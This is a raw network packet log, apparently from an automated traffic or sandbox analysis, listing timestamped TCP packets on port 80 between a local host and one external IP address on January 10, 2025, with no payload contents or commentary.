Jan 10, 2025 22:19:13.336760044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.336771011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.336831093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.337872028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.337903976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.357522964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.357552052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.357564926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.357590914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.357604027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.357618093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.357631922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.357636929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.357667923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.357688904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.361783028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.361802101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.361814976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.361900091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.361917973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.386537075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386569977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386583090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386594057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386606932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386619091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386630058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386642933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386648893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.386657953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386694908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.386739969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386775017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.386877060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386888981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386899948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386912107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386923075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386926889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.386935949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386948109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386950016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.386960030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.386982918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.387001038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.425771952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.425789118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.425802946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.425893068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.425913095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.425923109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.425929070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.425935030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.425947905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.425961018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.425973892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.425987959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426000118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426007986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426012039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426026106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426037073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426042080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426049948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426059961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426068068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426071882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426084995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426094055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426126003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426184893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426197052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426208019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426218987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426230907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426237106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426244020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426307917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426343918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426364899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426377058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426386118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426387072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426400900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426410913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426412106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426424980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426436901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426448107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426460028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426467896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426471949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426484108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426496983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.426507950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426525116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.426549911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.427124023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427134991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427140951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427145958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427200079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.427232981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427251101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427262068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427278042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427289009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427301884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427304983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.427325010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427339077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427345037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.427352905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427366972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427376032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427388906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.427407026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.427443027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.429764986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.430921078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431104898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431126118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431137085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431148052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431152105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431163073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431174040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431175947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431188107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431200027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431210995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431216955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431225061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431236029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431238890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431246996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431258917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431266069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431269884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431282997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431289911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431293011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431305885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431328058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431334972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431365967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431438923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431461096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431472063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431482077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431482077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431494951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431505919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431524038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431557894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431633949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431675911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431678057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431688070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431724072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431736946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431739092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431771994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.431871891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431890011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.431940079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.436990023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.450334072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.450351000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.450364113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.450375080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.450387955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.450400114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.450411081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.450428009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.450499058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.452512980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.457427025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.479351997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479363918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479372025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479379892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479391098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479398966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479409933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479424000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479454041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479460955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479490995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.479571104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.479636908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479648113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479659081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479670048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479681015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479687929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479698896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479700089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.479738951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.479778051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.479785919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479796886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479805946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479816914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479827881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479837894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479850054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.479854107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.479904890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504024029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504043102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504061937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504072905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504091024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504091024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504106998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504117966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504118919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504139900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504151106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504152060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504162073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504173040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504183054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504183054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504194975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504205942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504215956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504220009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504234076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504245996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504249096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504265070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504282951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504285097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504293919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504304886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504316092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504338980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504350901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504352093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504364014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504369020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504376888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504388094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504390955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504399061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504410028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504420042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504420042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504435062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504443884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504451036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504462004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504472017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504479885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504494905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504494905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504519939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504523039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504530907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504540920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504551888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504559994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504564047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504579067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504590988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504591942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504604101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504628897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504654884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504683018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504697084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504708052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504718065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504718065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504734993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504746914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504751921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504784107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504786015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504823923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504903078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504914045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504925966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504936934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504949093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504952908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504961014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504972935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.504973888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.504996061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.505059958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505070925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505081892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505088091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505096912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505105019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.505110025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505121946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505137920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.505157948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.505182028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505198002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505238056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.505305052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505315065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505326033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505331039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505337000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505342960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505350113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505393982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.505403042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.505424023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505438089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505444050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505450010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.505498886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.505525112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.511459112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.521416903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.521434069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.521455050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.521473885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.521492004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.521492958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.521509886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.521517992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.521526098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.521536112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.521585941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.521585941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.527939081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.527954102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.527966022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.527978897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.528021097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.528044939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.530155897 CET	49704	80	192.168.2.8	193.143.1.205
